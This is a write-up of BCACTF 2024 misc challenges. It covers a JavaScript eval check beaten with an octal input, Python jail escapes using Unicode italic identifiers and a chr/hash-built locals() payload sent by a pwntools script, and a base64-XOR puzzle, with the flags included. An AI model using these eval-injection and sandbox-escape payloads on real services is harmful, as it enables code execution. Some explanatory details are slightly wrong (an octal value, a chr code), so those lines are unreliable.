BCACTF 2024 | Misc-Writeups

Misc/Miracle

Challenge Description

You’ll need a miracle to get this flag. The server requires you to solve an easy addition problem, but you only get the flag if the bits magically flip to form another answer.

Resoruces

main.js

const readline = require("readline");
const fs = require("fs");

async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

// thanks chatgpt
function printWithoutNewline(text) {
  process.stdout.write(text);
}

function prompt(question) {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });

  return new Promise((resolve) => {
    rl.question(question, (answer) => {
      rl.close();
      resolve(answer);
    });
  });
}
//end thanks chatgpt

const flag = fs.readFileSync("flag.txt", "utf8");

async function run() {
  const name = await prompt("What is your name?\n") ?? "Harry";
  const ans = await prompt("What is 55+22?\n") ?? "0";
  if (eval("Number(ans)") === 77) {
    console.log("Correct!");
    console.log("Waiting for bits to flip...");
    for (let i = 0; i < 10; i++) {
      printWithoutNewline("...");
      await sleep(300);
    }
    console.log("\n");
    if (eval(ans) === 63) {
      console.log(`You made those bits flip?? You're a wizard ${name}! `);
      console.log(`Here's your flag: ${flag}`);
    } else {
        console.log("You didn't make the bits flip. Too bad ");
    }
  } else {
    console.log("wow you suck at math.");
  }
  process.exit(1);
}

run();

eslint.config.mjs

import globals from "globals";
import pluginJs from "@eslint/js";


export default [
  {files: ["**/*.js"], languageOptions: {sourceType: "commonjs"}},
  {languageOptions: { globals: globals.browser }},
  pluginJs.configs.recommended,
  {
    rules: {
        "no-unused-vars": "error",
        "no-octal": "error",
        "for-direction": "error",
        "getter-return": "error",
        "no-async-promise-executor": "error",
        "no-compare-neg-zero": "error",
        "no-cond-assign": "error",
        "no-constant-condition": "error",
        "no-control-regex": "error",
        "no-dupe-args": "error",
        "no-dupe-keys": "error",
        "no-duplicate-case": "error",
        "no-empty": "error",
        "no-empty-character-class": "error",
        "no-ex-assign": "error",
        "no-extra-boolean-cast": "error",
        "no-extra-semi": "error",
        "no-invalid-regexp": "error",
    }
  }
];

Solution

const ans = await prompt("What is 55+22?\n") ?? "0";
  if (eval("Number(ans)") === 77) {
    console.log("Correct!");
    console.log("Waiting for bits to flip...");
    for (let i = 0; i < 10; i++) {
      printWithoutNewline("...");
      await sleep(300);
    }
    console.log("\n");
    if (eval(ans) === 63) {
      console.log(`You made those bits flip?? You're a wizard ${name}! `);
      console.log(`Here's your flag: ${flag}`);
    } else {
        console.log("You didn't make the bits flip. Too bad ");
    }
  } else {
    console.log("wow you suck at math.");
  }

This is the main part of the challenge. We need to give some input such that (eval("Number(ans)") === 77) and (eval(ans) === 63). So this either exploits some vulnerability of Number() or eval().

After going through their docs, I found something intersting about Number() in this section.

alt text

And 73 in octal(base 8) is 63 in decimal(base 10).

So for an input of 077, eval("Number(077)") will ignore the 0, and thus return 77 whereas eval(077) will consider 0 and treat 77 as octal(base 8), thus returning 63 in decimal(base 10)

nc challs.bcactf.com 30105
What is your name?

What is 55+22?
077
Correct!
Waiting for bits to flip...
..............................

You made those bits flip?? You're a wizard ! 
Here's your flag: bcactf{j$_is_W3Ird_?rfuhie4923}

Misc/Jailbreak 1

Challenge Description

I cannot get the python file to print the flag, are you able to?

Hint

How can you access variables in python?

Resoruces

deploy.py

def sanitize(letter):
    print("Checking for contraband...")
    return any([i in letter.lower() for i in BANNED_CHARS])

BANNED_CHARS = "gdvxftundmnt'~`@#$%^&*-/.{}"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")
msg = input("Please enter your message: ")

if sanitize(msg): 
    print("Contraband letters found!\nMessage Deleted!")
    exit()

exec(msg)

Solution

UNINTENDED

Python actuall allows italics and since the script doesn’t have any constrain on unicode, so 𝘱𝘳𝘪𝘯𝘵(𝘧𝘭𝘢𝘨) will do the job.

nc challs.bcactf.com 32087
Welcome to the prison's mail center
Please enter your message: 𝘱𝘳𝘪𝘯𝘵(𝘧𝘭𝘢𝘨)
Checking for contraband...
bcactf{PyTH0n_pR0_03ed78292b89c}

Misc/Jailbreak 2

Challenge Description

The prison has increased security measures since you last escaped it. Can you still manage to escape?

Hint

What in python is evaluated to a number?

Resoruces

main.py

def sanitize(letter):
    print("Checking for contraband...")
    return any([i in letter.lower() for i in BANNED_CHARS])

def end():
    print("Contraband letters found!\nMessages Deleted!")
    exit()

BANNED_CHARS = "gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")

msg = input("\nPlease enter your message: ")

while msg != "":
    if sanitize(msg): 
        end()

    try:
        x = eval(msg)
        if len(x) != len(flag): end()
        print(x)
    except Exception as e:
        print(f'Error occured: {str(e)}; Message could not be sent.')

    msg = input("\nPlease enter your message: ")

Solution

UNINTENDED

Again the same solution works as there is no constraint on unicode. 𝘧𝘭𝘢𝘨

nc challs.bcactf.com 30335
Welcome to the prison's mail center

Please enter your message: 𝘧𝘭𝘢𝘨
Checking for contraband...
bcactf{PyTH0n_M4st3R_Pr0veD}

Misc/Jailbreak Revenge

Challenge Description

Some of y’all cheesed the previous two jailbreaks, so it looks like they’ve put even more band-aids on the system…

Hint

What in python is evaluated to a number?

Resoruces

main.py

def sanitize(letter):
    print("Checking for contraband...")
    return any([(i in letter.lower()) for i in BANNED_CHARS]) or any([ord(l)>120 for l in letter])

def end():
    print("Contraband letters found!\nMessages Deleted!")
    exit()

BANNED_CHARS = "gdvxfiyundmpnetkb/\\'\"~`!@#$%^&*.{},:;=0123456789#-_|? \t\n\r\x0b\x0c"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")

msg = input("\nPlease enter your message: ")

while msg != "":
    if sanitize(msg): 
        end()

    try:
        x = eval(msg)
        if len(x) != len(flag): end()
        print(x)
    except Exception as e:
        print(f'Error.')

    msg = input("\nPlease enter your message: ")

Solution

This time the unicode is constrainted to 120, so our previous exploit won’t work.

Allowed characters: achjloqrsw()[]+<>

chr, hash, all, locals can be made from these. + will allow concatination and <> allows boolean.

(hash(all)>hash(chr)) will return 1

((hash(all)>hash(chr))+(hash(all)>hash(chr))) will return 2

Similarly we can make any number by concatination.

We can make flag like → chr(102)+chr(108)+chr(99)+ch4(103).

locals() returns the dictionary of the current local symbol table. Symbol table is created by a compiler that is used to store all information needed to execute a program.

Thus, locals()[flag] will give us the flag.

Solution Script

Run this script 4-5 times to get the flag.

from pwn import * 

p = remote("challs.bcactf.com", 30223)
# p = process(["python3", "main.py"])

data = open("payload.txt").read()
p.sendline(data)

p.interactive()

payload.txt

locals()[chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))]

Flag

bcactf{Wr1tING_pyJaiL5_iS_hArD_f56450aadefcc}

Misc/This is NOT the flag

Challenge Description

The flag is NOT inside this file. Do NOT even bother checking.

Hint

The flag is ASCII encoded in base 64

Resoruces

NOTflag.txt

nZyenIuZhMiXtoygzoygyJfMoJmTnsaC

Solution

Ignoring the description, the hint clues about base 64, so on decoding

alt text

Nothing useful… The easiest thing we could do is XOR, so let’s try it.

alt text

And we get the flag with the key FF.

Flag

bcactf{7hIs_1s_7h3_fla9}